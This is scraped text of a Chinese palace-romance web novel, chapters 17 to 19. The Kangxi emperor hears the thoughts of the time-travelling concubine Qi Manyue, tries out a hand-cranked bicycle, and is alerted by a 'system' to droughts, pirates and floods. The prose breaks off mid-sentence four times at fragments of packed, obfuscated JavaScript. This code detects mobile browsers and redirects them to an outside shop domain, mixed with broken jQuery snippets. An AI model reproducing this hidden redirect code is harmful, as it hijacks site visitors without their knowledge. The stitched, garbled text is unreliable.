RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543757|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就补一下,一定不要薄厚不均匀。” 宫女们在她的指挥下,将收集的猫毛梳理顺后,一点点铺好,时不时还要检查下哪里薄了。 “不够了怎么办?”其中一个小宫女为难地看着明显薄了一块的猫毛。 齐满月不在意地一挥手,让云秀等人抱来几只猫,其中一只就是她的奶球。 “梳毛!”她一声令下,几个小太监拿着小梳子就给小猫们梳起毛来,不多会儿的功夫一团团毛球出现在众人面前。 宫女们缺了猫毛的赶忙过来取一团,很快大家都铺好了。 齐满月又让人拿来胰子,小心地在手上搓了搓,才放到那铺好的用水打湿的猫毛上,轻轻地揭起一点点揉搓。 宫女们见状也学着她的模样去做,左边搓搓,右边搓搓,折起来搓搓,卷起来搓搓。 很快猫毛上的油脂被搓下来,猫毛也越搓越紧实厚重。 又过去了一会儿,等众人抬起手来时,手中的猫毛已经成了一块手掌大的毛毡。 “剩下的就是等它干了,然后装饰一下,就可以当杯垫或者挂件了。”齐满月在云月端来的水盆里洗了洗手,叉腰感慨道。 “这是做什么?”不等她再说什么,身后就传来一个女声的疑问。 齐满月转过头去,发现正是之前来找猫的成贵人。 “成贵人怎么有空来我这里了?”她有些好奇道,毕竟自从找猫之后成贵人可一次都没来过。 成贵人嘴角微微勾起,露出一个有些腼腆的笑:“我今日正好有空,便来妹妹这里坐坐。” 说着就像突然发现什么似的,赶忙带着歉意说道:“可是我唐突了?” 齐满月当然想说是啊是啊,可云秀在后面直扯她的衣服,她只能扯出嘴角,露出一抹胆小乖顺的笑说道:“没有,成姐姐能来我这里自然是好的。” 成贵人并没有对她有些僵硬地笑说什么,只歪头看着那些或白或花色的湿漉漉毡布好奇问道:“这是什么?” 齐满月笑着拉着她走上前,将猫毛毡的做法一一给她解说:“这是猫毛毡,很简单的,只要……” 她讲得又烦琐又细致,直把成贵人讲得站都站不稳,数次想打断她的话说去休息都失败后,终于苦着脸:“原来如此,妹妹果然钟灵毓秀,今日也不早了,回头再来妹妹这里玩。” 说着她挣开齐满月拉着她的手,带着宫人颤着腿离开。 “切~”齐满月挑眉得意一笑。 旁边云秀脸都黑了:“小主!” 齐满月赶忙回过神来,拍了拍自己的脸,对云秀愧疚道:“待在永寿宫太久没咋和外人相处,我差点儿露馅了,对不起啊云秀。” 云秀无奈摇了摇头:“您是主子不该给奴婢道歉,只是您要记住,在宫里要谨慎。” “知道了,知道了!我一定!”齐满月可不是嘴上说说,她再次在心里不住警告自己,不要因为一个人待着太开心失了谨慎,这里不是她活了二十多年的现代,而是封建至极的满清。 懋勤殿的康熙没有告诉任何人自己的选择,只是看着来复命的高士奇点了点头吩咐道:“黄履庄此人可谓是天降奇才,并不需要让他和戴梓绑在一起,但他要什么给他什么,无论他做出什么都记得送给朕看。” “是!”高士奇想到自己看过的东西,心下一热,这位何止是奇才啊,那些东西宛如神仙法术一般,他都不理解人家这脑子怎么长的。 挥手让人退下后,康熙看着折子,想着等黄履庄东西送进宫后,他该找个理由再次见齐佳氏一次了。 这次间隔的时间已经足够久了,日后慢慢调整,最好大家能够习惯他让齐佳氏一直待在身边而不会损了他的名声。 17. 自行车和危机 “小主!小心!” “猫球!”大早上刚从承乾宫请安回来,齐满月就看到昨天做好的猫毛毡茶杯垫被猫球撕扯成碎片,她气得猛吸一口气,快步上前就要抓住猫球。 这样过于活泼狂野的动作将云朵吓了一跳。 今天云秀有事情,云月也不得空,只能由云朵跟着她去请安。云朵却没想到一回来就看到,自家那位刚刚还一副乖巧胆小模样的小主,此刻竟活泼得不像样子,吓得她脸都发白了。 她不是云秀日日跟在齐满月身边早已习惯,更不是云月虽跟得少却也见过几次,还算平常。 过去她多是和云兰一起处理一些宫内简单的事务,跟在齐满月身边的次数少之又少,此时见她这样自然要被惊上一次的。 “小主!”正巧云秀回来,看到齐满月满大殿的追猫,忍不住叹了口气,赶忙上前拦下对方,“小主即便是在自己宫里,也不该如此,若是被外人知晓告到承乾宫,即便不违背宫规,也会多一个失仪的罪名。” 齐满月抱着被她好不容易抓到的猫球,笑得一脸心虚:“我知道错了嘛云秀~” 云秀看了眼,周围只有她们侧殿的人,心下不由松了口气:“行吧,好歹没让外人看到。” 没承想猫球似乎被什么东西吸引一样,突然在她怀里不断挣扎。 齐满月想着猫球太小,爪子还不大会收起来,爪尖又嫩得很,若是抓到了人不说别的,猫的爪尖估计都有可能勾断。 当然她也不想让猫球抓坏了自己的衣服,毕竟身为贵人,她可没有多少好的料子做一身足以见人的衣裳。 根据宫规她也不敢让阿玛额娘给她送钱,毕竟家里也没钱。 猫球从她怀里挣脱,几个跳跃间就消失在偏殿里。 “小主可有受伤?”云秀第一时间走到她的面前为她检查。 见她身上不见丝毫伤痕,云秀才终于放下心来,却见齐满月还在不住地翻看自己的衣服。 “小主身上并无伤痕,这是要找什么?”这动作弄得云秀一头雾水。 “看猫球有没有把我衣服勾出丝来,我可没钱再置办一身。”齐满月翻得仔细,连头都没抬。 云秀听后忍不住笑出声来:“放心吧小主,就算是勾出丝来,凭宫里绣娘的手艺,也给你补得天衣无缝。” 齐满月将翻皱的衣服整了整才抬头说道:“我这样的小贵人找绣娘帮忙也是要掏银子的,我可舍不得。” 云秀笑得越发开怀:“云月的手艺就挺好,给她修补就是。” “那敢情好!”齐满月听后忍不住拍了拍手。 云月进来后就见到她们主仆这副模样,便有些好奇。 云秀只当是个乐子,笑着将刚刚的事情讲了一遍。 云月听后也忍不住笑着调侃道:“小主怕什么,如今宫里都知道您受宠,指不定什么时候皇上又赏了您新料子,到时候怕是新衣穿都穿不过来。” “我?”齐满月不可置信地指着自己,“我受宠?谁造的谣啊,我都多久没见皇上了。” 云月呆愣地看了云秀一眼,才一脸诧异地看着她:“小主不知道吗?” “知道什么?”齐满月没想到这偏殿里一共就那么几个人,云秀等人还能有事情瞒得住自己。 云秀懊恼地拍了拍额头:“怪我怪我,我忘记说了。” 她的一席话,让齐满月越发糊涂了。 “小主每日的饽饽,都是由御茶膳房送来的,若非皇上吩咐,他们怎敢如此行事?” “难怪!”齐满月恍然大悟,“我说这两个月的饽饽越发好吃了,我还以为是御膳房出新花样了。” “您的份例可没那么多饽饽给您吃。”云月笑着摇了摇头,将早餐端了过来,“喏,这也是刚送来的,是您最喜欢的肉饽饽。” “狗皇帝竟然做人了!?”齐满月不可置信地在心里喊道,“不过他图啥啊?图我长得好看?” “那倒也不是不行~”刚在心里得意完,不知道跑哪儿的猫球又跑了回来。 齐满月忍不住在虚空点了点猫球的脑袋,心中腹诽道:“这猫都快比狗皇帝还难伺候了,好歹皇帝还给我吃的,你竟给我捣乱。” “咳咳!”她刚说完,就听门外传来男子的轻咳声。 抬头看去,只见云秀和云月早已悄然跪在地上,齐满月瞬间明白过来,赶忙乖乖跪在地上请安。 “起吧。”康熙踱步进来直接坐到了齐满月原先的位置,顺手捻起一个肉饽饽吃了一口,“御茶膳房的手艺越发精进了。” “狗皇帝怎么突然来我这里啦?!青天白日的总不能是来睡的吧?!” “咳!齐佳氏!”康熙被她的心声震惊得差点吃饽饽噎着,赶忙灌下一口茶。 “干嘛!每次都叫我名字,然后又不做什么,最后不是让我走,就是自己走!好像是来我这儿看西洋景的,干脆找个画师把我画了挂起来看个够好了,别打扰我的小日子啊~!” 康熙无语地吃着肉饽饽,他何尝不想不要那么尴尬,只是一则齐满月总是口中惊人,二则是他也想听到更多有用的消息。 想到这里,他眼眸微微沉了一瞬,才擦了擦手说道:“朕前日得了个机巧玩意儿,想来你们姑娘家喜欢,就让人给你送来了一个。” 话落不过转瞬,小太监们就抬了个红布盖着的东西进来。 “这形状……怎么看着……那么像……”齐满月紧蹙眉头看着面前的东西,随着东西越来越近,她的眼眸也不由瞪得老大,“自行车!?” “啊啊啊!狗皇帝找到了黄履庄!?带回来了吗?!活的黄履庄啊,传说中的人物哎!” 康熙听着她心里不断响起的惊呼,忍不住勾了勾嘴角:“小女人,朕总算震惊到你了。” 不过他对于齐满月还称他狗皇帝还是有些不满,于是故意说道:“这是江南一位奇人所做,想来你还没见过这种奇物吧。” 齐满月刚想说想试试,然后震惊一把古人,没想到却被康熙这么一噎,只能咬着牙假装懵懂的看着被揭开红布的自行车,乖顺点了点头:“奴婢确实没见过,这是何物?看起来确实奇特。” 康熙强忍住嘴角的笑,看着齐满月一副不懂的求教模样,听着她心里喋喋不休的愤慨,这些时日因为朝政的疲惫竟然消减了不少。 “这是自行车,是黄履庄所做。”康熙示意一个小太监骑上去,“据黄履庄所言,此车长余三尺,可坐一人,不须推挽,能自行……” 说着旁边的小太监已经用手转起旁边的曲拐了。 “咦?历史上黄履庄造的自行车是这样的吗?我还以为也是脚踏板的,竟然是手动!倒像小时候看的那种残疾人用的倒骑驴哎~” 康熙本以为还能再收获旁边人的一波惊叹,却不承想反倒听到了另一个消息。 脚踏自行车? 他脑子里画像不断被擦掉重画,却怎么都没想明白脚踏自行车该长什么样。 “哎呀!都怪狗皇帝选我入宫,不然我还能和黄履庄沟通下技术,将真的自行车搞出来!”心中想着就听到旁边齐满月又开始怪他,康熙忍不住扭头看了对方一眼。 “看我做什么嘛!好烦!怎么才能和黄履庄沟通呢?我更喜欢脚踏自行车啊。” 康熙无奈地摇了摇头,看来他这样试探不如直接开口问来得快。 这样想着,他就干脆开口说道:“齐佳氏,朕看你一脸若有所思,难不成是有什么想法?” 齐满月眼睛唰地一亮,双眼紧盯着康熙,重重点了两下头。 身后云秀见她这幅样子,只恨不得捂住眼睛,这位主子怎么就沉不住气露出原形来了! 康熙倒没想到见到他就习惯性垂眸低头的人,一双眼睛亮起来时是这样的惊人,衬得那本就漂亮的小脸越发娇艳了。 “朕恕你无罪,直说吧。”康熙忍不住戳了戳她的额头,轻笑道。 齐满月看了看黄履庄版自行车,犹豫了片刻后,才小心问道:“奴婢……想骑一骑行吗?” 康熙本以为以齐满月内心所表现出那种活泼性子,一定会直接说出来,却没想到对方还想了个迂回办法。 不过他本就打算借此听一听齐满月的心声,自然不会推拒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543758|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得了康熙口谕,齐满月难掩欣喜地走到黄履庄版自行车前,垂眸研究了下大致怎么下手。 刚刚她可是看过小太监操作的,加上她本来就会骑自行车,于是连小太监开口教她都不需要,直接坐上去开始骑起来。 刚刚小太监展示时,自行车是没有落地的,只是在原地空转了一会儿,她骑的时候自行车已经被放下。 于是她直接在永寿宫的前院里骑了一圈又一圈。 宫人们看她不过是片刻就熟悉了操作,一边惊叹这等奇物,一边感慨不愧是皇帝看中的人,果然聪明机灵。 康熙倒不意外,只是他看着齐满月一副上手不撒手的架势,唯恐对方上瘾了忘记正事,赶忙示意梁九功带人拦住。 索性这黄履庄版自行车是木头做的,齐满月担心颠得慌骑得也不快,两个小太监往前一站也就顺势停了下来。 “是奴婢玩乐太入神,失了礼数,请皇上恕罪。”齐满月下了车才想起面前还有位大佛,赶忙下跪请罪。 云秀等人也纷纷下跪,一瞬间永寿宫的宫人们已经齐刷刷跪了一地。 康熙摆了摆手,将人叫起,才颇有兴趣地问道:“怎么?可有什么感受?” “奴婢觉得……”齐满月刚想将自己印象中的自行车用这个时代的话说一遍,就见康熙脸色突然大变。 “警报!警报!浙江民心值降至临界点!浙江民心值降至临界点!” 康熙原本正打算听一下齐满月前世的自行车什么样,好让黄履庄改进时,就听到脑海中不断蹦出警报。 他眉间紧皱,看着眼前虚空,那里是二十六条彩色竖线,现在其中一个标着浙江的线正急速下降。 不过片刻功夫已经从九十多跌入到四十上下,才将将稳住。 这是康熙在奖励中选择的民心所向。 根据系统介绍,民心所向是他只能每月查询一次,可没说系统警报是随时都会有的。 康熙看着数值的变化再也没时间和齐满月聊什么黄履庄自行车,直接转身,厉声吩咐道:“传索额图、明珠、勒德洪、李霨、王熙、陈廷敬、户部伊桑阿、兵部李之芳、刑部梁清标觐见!” 梁九功头一次见康熙如此急切地召这些大臣,虽然不清楚他急什么却也不敢耽搁,快速跑着安排人召见。 不多时,几位大臣急匆匆来到懋勤殿。 这会儿康熙的脸色已经不是一般地难看了。 就在刚刚,不过片刻功夫,直隶、山东、河南这几个京畿重地的数值也跟着往下跌,比浙江更令他着急的,是这些地方数值从近百数直接跌入十几。 他实在无法想象到底发生了什么,让这些地方的民心值跌得那么快。 “不用行礼,索额图你们可曾收到来自于浙江、直隶、山东、河南的折子未曾递上来?” 索额图几人先是被太监们催促着赶到懋勤殿,还没喘口气就被皇上如此追问,皆是双眼茫然。 见状康熙脸色不是一般难看,他直接吩咐道:“索额图、明珠你二人各带一批人前往浙江和直隶,陈廷敬带人去山东,王熙你去河南,朕要知道那里到底发生什么了!” “记住!朕准你们便宜行事!” 听着皇上的吩咐众位大臣皆是一愣,但也不敢多言,尤其是索额图和明珠,毕竟皇帝这次可是把内阁六位大臣直接派出去四个! 康熙看了眼户部伊桑阿、兵部李之芳、刑部梁清标,直接吩咐道:“你们安排人随他们一同前往,如需用兵不必请旨。” “臣等遵旨!”几位大臣应下后就要出门。 不承想康熙脸色更难看地叫住众人:“江南!通知徐乾学!让他去江南!” 大臣们不懂皇上为什么加了个江南,却也不敢问,快速转身去安排。 康熙盯着虚空里江南的那根线已经跌得看不见了,数字更是跌到个位数。 他不是不能召其他大臣去安排,只是如今他实在不敢信任何人,只能将自己的股肱之臣一一派出去。 “系统啊……这民心所向能不能加个原因啊,朕能够信任的大臣实在不多了……” 18. 接二连三的灾难 从康熙发现召集大臣到快速安排,也不过短短一个时辰而已,此时太阳还在东侧,正缓缓地往最中间爬着。 六月末的京城已经透着几分暑意,今天又是大晴天,太阳直愣愣地照在大臣们的身上,透着那一身春季的官服,给一身皮肉添了几分滚烫。 豆大的汗珠从额间滚到脸颊,再到领口,直至滚入衣襟消失不见,徒留下滚烫肌肤上不断滑落的湿黏吸着里衣贴在皮肉上,让人心烦意乱。 可没有一个大臣敢开口抱怨,甚至不敢略停下一二脚步,歇一歇从胸口涌上的燥热。 更甚者,他们没有一个人抽空闲聊一句,在宫门口外彼此看都没看一眼,直接骑着快马赶往署衙简单安排了几句事宜后,又赶快往家里赶去。 几位大臣倒不是没有轿撵,虽然康熙一力主张不论文武大臣都需要骑马上朝,可对于尚书、内阁这等高级官员还是特许了轿撵。 即便如此,也没有任何一个大臣选择轿撵,毕竟皇上都如此催促了,他们总不能还坐着轿撵显得慢悠悠不是。 索额图刚到家的时候,时间已经接近中午,按照朝廷的规定,此时是午餐时刻,家里自然也摆上了饭。 站在桌前的美貌妇人对他行了个礼后,赶忙迎上前:“爷,现在可用饭?” 索额图皱了皱眉,扫过一桌子精美菜肴:“我不是吩咐过,让你赶紧收拾行李给我?东西呢?” 妇人愣了下,脸上闪过一丝委屈,不过转瞬就消失:“妾身早已让人备好车了。” 索额图看着自己的长随在门外对他点了点头,不再说什么,转身就要去卧房换衣服。 妇人见状,忍不住上前两步:“爷……不用晚饭吗?” “妇人!”索额图忍不住回头看了她一眼,眼中多了过去从未出现过的嫌弃,“到底小户出来的,竟不如佟佳氏半分眼力。” 他痛快斥责完倒是利索离开了,徒留下妇人顶着满府的下人或是异样或是嘲讽亦或是怜悯的眼神,不多时就捂着脸呜咽着跑回后院。 她是满心委屈的,索额图本就是庶出,虽正妻娶的是佟佳氏,可两位侧室却出自满族小姓,在他官位越做越大后,纳入府的女子身家也越发高了些。 若不是索额图极为重视正妻,佟佳氏怕也镇压不住这帮人;后来佟佳氏早逝,她凭借着长得好、手段好,又生了个好儿子,这才在正妻去世后掌握后宅一应事务。 不说有多少功劳,好歹荣光地做了几年的管家福晋,谁曾想今日就被索额图当着众人给了个没脸。 侧室被斥责这件事不过转瞬就传遍了索额图的后宅,有幸灾乐祸的自然也有唇亡齿寒的,不过也有一个意外。 一个年岁不大,入府不过一载的小妇人,眼眸幽幽地将人赶到门外,眉目流转间在竹子上写到什么,又悄悄走出门递给一个不起眼的丫环。 索额图自然不知道后宅的事情,他只和明珠堵着一口气,恨不得马上飞到浙江,好赶在明珠之前查清楚那里到底发生了什么。 疾步走出正院,结果和法保撞了个满怀。 对这个一向吊儿郎当的弟弟,索额图一向是看不惯的,此时因有要事,也懒得和对方拉扯,便直接无视对方往外走。 法保不知因何对这个哥哥突然很恐惧,他赶忙侧过身让过了路,又快速踱步往里走。 跟随着索额图的长随,眼眸在他身后转悠了一圈又一圈,最后还是凑到索额图面前:“爷,六爷身上的衣服料子不是京里的,看样子像是南边来的。” 索额图骑上马的动作一顿,他冷漠地扫过院内那个早已消失不见的身影:“带过来。” 长随应了一声,直接带着人去将法保带了出来。 法保一脸莫名地被一群人押到索额图面前。 索额图眼神阴鸷地扫过法保身上的衣服,才抬眼紧盯着他:“说罢,衣服怎么回事?” “什……什么衣服?”法保在这个哥哥面前一向不擅长撒谎。 “如今皇上有要务吩咐我去浙江,你最好别有事儿瞒着我。”索额图在马上坐直,眼神幽深地时不时瞥一眼法保。 法保咽了咽口水,随着长随的松手差点瘫软在地上:“我……我……我不知道。” 索额图这次没再多说什么,直接一鞭子抽在他身上。 法保没想到哥哥真的会动手,赶忙蜷缩在一起大喊一声:“那里好像是大旱了!” 索额图动作一顿,眼神如刀一样刺向对方:“你说的是真是假?!” 法保重重点了点头:“真的!真的!我就是因为这个才跑回来……跑回来的……” 法保说着声音就突然小了起来,他发现自己说漏了嘴,赶忙捂住嘴。 索额图此时已经没心情再和他计算偷偷出京的罪过,直接安排人将法保关在院中,带着人重回署衙一边去通知户部准备赈灾,一边安排下属进宫告知皇上。 康熙自大臣们离开,就坐在位置上一动未动,尤其是在他发出那声疑问后。 整个大殿里安静得有些可怕。 梁九功小心从殿外进来,先是为康熙换了热茶,才重新走出大殿。 自从齐佳氏入宫开始,皇帝就不爱他近身侍奉了,如今更是不喜欢他们进大殿。 时间不知道过去多久,大殿外传来急促的脚步声。 康熙还来不及斥责,就见梁九功带着一名官员满脸着急地跑进来:“皇上,浙江大旱!” “砰!”康熙猛地起身,竟然将御座直接带倒。 “宣!索额图!明……”他下意识开口叫索额图和明珠,只不过话未说完就想起这两个人已经被他安排出去,“宣科尔坤、达都……” 宣大臣、安排赈灾、户部拨款等等事宜,这一安排直到天都快黑了才结束。 等人散去,康熙一脸疲惫地坐回到御座上,这才发现一旁桌子上被放好了新做的饽饽,叹了口气捻起一个吃了一口,随后又觉得吃不下,扔回到盘子中。 挥手让梁九功等宫人退下,康熙看向虚空:“系统,朕耽误一日,便有不知多少百姓死于大旱,死于其他伤害,朕想知道山东、直隶、河南和江南到底发生了什么,若朕能早日安排岂不是可以救下许多人。” 空气中依旧安静,这种安静却让康熙莫名地开始紧张,这在他亲政后已是非常少见的了。 也不知道过了多久,连敬事房的人都来问过安了。 时间渐渐流逝,许久后,直到康熙都打算放弃联系系统时,天空中突然响起一道声音。 “执行者要求符合常理,增加警报内容须知。” 系统声音刚过,康熙就看到眼前的线图上有了一个圆点,他下意识伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543759|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了下,只见上面立刻蹦出来一组数字。 “浙江大旱……”这是他刚刚已经知晓的。 “江南海盗肆虐……”康熙心下忍不住揪了下,下意识就要叫人宣兵部尚书,却又忍住,指尖放到了京畿区域。 “洪水……”康熙此时脸色已经不是一般难看,他深吸了一口气,眼睛闭了又闭,最终无力叹了口气,“天如此看不惯我满族掌管天下吗?” “不!”他猛地睁开眼,视线扫到永寿宫方向,眼神中带着决绝,“既然你们送来了改变历史的人,那上天一定是看好爱新觉罗氏!” 乾清宫从上午开始,大臣们接连不断地进进出出,直至夜半三更,这样的情况自康熙亲政后还未出现过几次,可每次都是涉及国家动荡的大事。 不过能知道乾清宫情况的也不过那两三个人而已。 其中最先知道的自然是慈宁宫。 “你是说乾清宫还在宣召大臣?”孝庄从上午得知消息一直到此时星辰漫布,心情从急切到不安再到平静,堪称跌宕起伏。 苏麻喇姑看着她如今平静的表情,不由在内心叹了口气,如今的主子竟也只能压抑自己的担忧,以免触及了当今的警惕,误以为主子贪恋权势。 毕竟前些日子因为齐佳贵人的事情,皇帝便对主子插手朝政的事情颇为不满了。 正如苏麻喇姑所想,孝庄手中不断转着的十八子早已将她的内心急躁展现得一清二楚。 “是,但是……还没传出什么事情。”苏麻喇姑心中再多感慨到了孝庄面前也是平淡的。 孝庄点了点头,沉默地看向乾清宫的方向…… 毓庆宫里的胤礽,作为宫里少有能够探知乾清宫事情的人,他更是在孝庄不久后就知道了,甚至知道得比慈宁宫还更详细几分。 听到宫人说康熙在乾清宫到了半夜还没休息,她下意识想像往日那样抬脚去关心一下皇上。 “最后太子二废二立被圈禁……” “生而克母!” “现在是掌中宝,等他年纪大了,儿子也大了,对皇位的占有欲达到了顶峰,现在太子的一切都是罪名……” 迈出大殿的脚在半空中悬了许久后,沉默地退了回去…… 皇贵妃虽然也清楚乾清宫的异动,毕竟身为副后,她是有权利知晓一些帝王行程的。 “毓庆宫没去?”听着宫人的汇报,皇贵妃有些意外。 “是,没听到消息。”宫人回道。 皇贵妃愣了下,眉头微微蹙起:“行了,以后将毓庆宫的人撤出来,毓庆宫的事情和我们再无关系。” 宫人一愣,忙应下离开。 秋月狐疑的看了眼离去的宫人,才忍不住轻声问道:“主子,毓庆宫那边?” 皇贵妃摇了摇头,自家人知道自家事,皇帝是不会让佟佳一族再出现一位皇帝的,她何必再紧盯着毓庆宫。 之前关注不过是尽到皇贵妃的职责,顺便可以刷一下太子的好感,如今太子和胤禛明确为执行者,将来必是互通有无。胤禛如今年岁还小,藏不住话,万一说错了什么…… 想到这里,皇贵妃不由叹了口气,太子今夜竟然没去粘着汗阿玛,想来那清醒的大脑还让他长了几岁稳重。 突然她抬眼看了眼自己的胤礽,若是太子也有如此奇效,那胤禛…… 19. 日常和阴谋 关于胤禛力气这件事情皇贵妃最初是没什么感觉的,在她看来才四岁大的孩子力气小些也很正常,并不是每个孩子都是大阿哥那样的。 只是系统推荐的增加体质选项还是在她心里留下了一抹阴影,以至于发现太子貌似被清醒的大脑所影响而趋向于理智后,她也更期待胤禛的力气大变化。 “秋月,你去拿一些稍微有点重的东西过来。”她想了想直接开口吩咐秋月。 秋月被她的要求弄得一愣,随即又赶忙反应过来,在屋子里转悠了一小会儿,才找到一个略有些重的小铜壶。 如今才三四岁的胤禛性子不仅有些调皮,有时也爱发脾气摔打东西,所以在承乾宫,凡是他能够伸手够到的地方,皇贵妃都要求用上了对方抬不起拎不起的物什,而小铜壶就是其中之一。 皇贵妃示意秋月将小铜壶放到胤禛面前,对胤禛轻声说道:“好孩子,把铜壶递给额娘好不好?” 胤禛将自己的注意力从玩具中拔出来,抬头看了看皇贵妃又看了看身前的小铜壶,随后毫不犹豫地站起身,伸出双手就去拎壶。 “啊呀!”可惜他的脸都憋红了,更是不断给自己鼓劲儿。 只可惜他努力了半晌,那小铜壶不过被挪动了几寸而已。 皇贵妃过去并没有这样试探过胤禛的力气,此时也有些不明白这到底算力气小还是这铜壶本就太重。 旁边的秋月本就是打小伺候她的人,对她的一举一动都极为了解,见她微微蹙眉,便上前宽慰道:“主子,这铜壶便是那些小宫女们拎起来都要费一把力气,更别说小阿哥才三四岁了。” 皇贵妃佟佳氏幼年时便是佟佳一族的娇小姐,略大些的姑奶奶,再大一点入了宫虽当了一年格格,可因出身,一直享受嫔位的待遇,更甚者一年后直接封为贵妃,后为皇贵妃。 从幼年时到如今,她从未经历过低谷,也不曾自己干过什么活,连伺候的人都是精挑细选的,哪里知道初入宫的小宫女们到底拎不拎得起小铜壶。 不过回想着幼年时仅有的记忆,她在五六岁时确实也拎不起那么重的壶,一时间不由松了口气。 秋月见哄住了她,也不由松了口气。 胤禛这位四阿哥力气偏小的事,在宫人中曾隐隐传过,只是一则他是皇帝仅有的几个健康皇子,二则是皇贵妃养子,这等猜测不过是私下传言,并没闹起多大的风波。 而且照秋月看来,三四岁的男孩子力气这样也不算多力弱,毕竟佟佳府中也不乏这个年岁比四阿哥更力弱的孩子了。 秋月看着佟佳氏脸上闪过的轻松,不由暗自摇了摇头,这一动作眼睛就飘到了一旁柜子里的参苏理肺丸,这是太医院今年提前送来的。 只因胤禛往年春夏交替时会咳嗽几日,秋月想到这里,眉眼中带着些许喜意看向皇贵妃说道:“说也奇怪,往日换季时四阿哥总是要咳嗽两天,这几日却未曾见到,想来阿哥长大了身体好了。” 皇贵妃视线同样扫过架子上的药,眼睛又扫过还在和小铜壶较劲的胤禛,眉目间也带上喜意:“是啦,体质……身体康健不也是体质吗?” “主子?”她的轻喃秋月没听清,下意识扭头看向她。 “没事儿,我儿将来定也是大清的巴图鲁。”她手肘轻轻搭在矮桌上,看着对面胤禛忍不住称赞道。 秋月等宫人自然是连声附和,竟无一人提出质疑。 若是齐满月在此怕是要笑的直不起腰了,毕竟“世宗四力半”可是后世非常有名的梗。 说到齐满月,她在看到康熙直接脸色大变转身离开永寿宫,还以为这位爷又犯病了,甚至还惴惴不安对方要不要又将事情怪罪到自己身上。 却不承想,对方不仅没安排人将自行车带走,甚至每日的加餐依旧在继续,这也让她放心下来。 康熙走时还没到中午,她自己又玩了一会儿自行车后才发现天色已经不早了。 “小主不继续玩了?”云秀见她擦着汗进了屋子,忍不住问道。 齐满月有些嫌弃地看着天上的太阳,又看了看院子里被小太监们挪到另一间空屋子的自行车,有些意兴阑珊道:“也没什么意思。” 对于骑过脚踏车的人,这种倒骑驴式的手动自行车也不过是最初才觉得有意思,越骑也越觉得无聊。 见她这样,云秀也不再说什么,先将晚饭摆上。 齐满月简单洗漱了一番,才坐到桌子上。 她觉得别说只进宫两三个月,就是住进来一辈子她恐怕也不习惯将午饭叫做晚饭,把晚饭叫做晚点,虽然晚点确实只有点心没有任何饭菜。 叹了口气,吃了一口米饭,她不禁暗自赞叹了一句:“不愧是贡米,确实比后世普通的大米好吃一点。” “说起来……康熙还自己培育过稻米的,好像……被称作……御稻米!”齐满月的脸上闪过一丝得意,“我就说我记忆力很好~” “可惜后世失传了,不然我还能尝尝御稻米的味道,不过说起来……康熙什么时候研究出来的?我现在是康熙二十一年,岂不是只要我活得够久,我就可以吃到了!” 想到这里,她眼睛一亮,不过转瞬间又暗淡了些许:“我一个贵人怕是也吃不上。” 握着筷子的手不由紧握,齐满月猛吸一口气,决定稍微奋斗一点:“至少是个嫔位吧……虽然孝庄答应我了,但是没落到碗里的不是肉,还是要努力一下下,万一成了妃呢!” “小主,成贵人来了。”她饭还没吃完,云月突然走进来传话。 别说云月和云秀都皱起眉来,就算是齐满月也忍不住皱了皱眉,这可是饭点,成贵人不好好待在翊坤宫吃饭,莫名来到她这里干嘛? 齐满月总觉得有种不祥感,仿佛被某种阴谋围绕。 “请进来吧。”她没想太久,看着云月还在等传话,只能皱着眉让人进来。 成贵人走进来第一眼就看到了满桌子的饽饽,脚步都忍不住顿了下。 她也是贵人,自然知道贵人的份例有多少是什么样子,她那边的晚点可不曾有过那么多盘饽饽,还有那么多种口味。 眼看着云月将还剩下八九成的饽饽端走,成贵人和身后的宫人脸上都有些阴郁,不过转瞬间也就消失了。 齐满月眼睛本就尖,自打成贵人进来就一直防备着她,此时便也发现了她们主仆二人的变化,忍不住挑了挑眉,瞬间明白了些许。 成贵人自然也注意到了她的打量,有些不自在的拿帕子点了点嘴角,才笑着说道:“妹妹这里果然不错,便是晚点都比我们的好些。” 齐满月虽然只见过成贵人两三面,可对她日常说话风格还是了解一二的,可还没见过对方这样酸言酸语的时候。 看着她脸上微妙的笑意,成贵人反应过来,脸上闪过几分尴尬:“妹妹本就受宠,自然……” 感觉到自己说话越发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548736|204029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着酸味儿,她一时间也不知道该如何是好,只能悄然噤声。 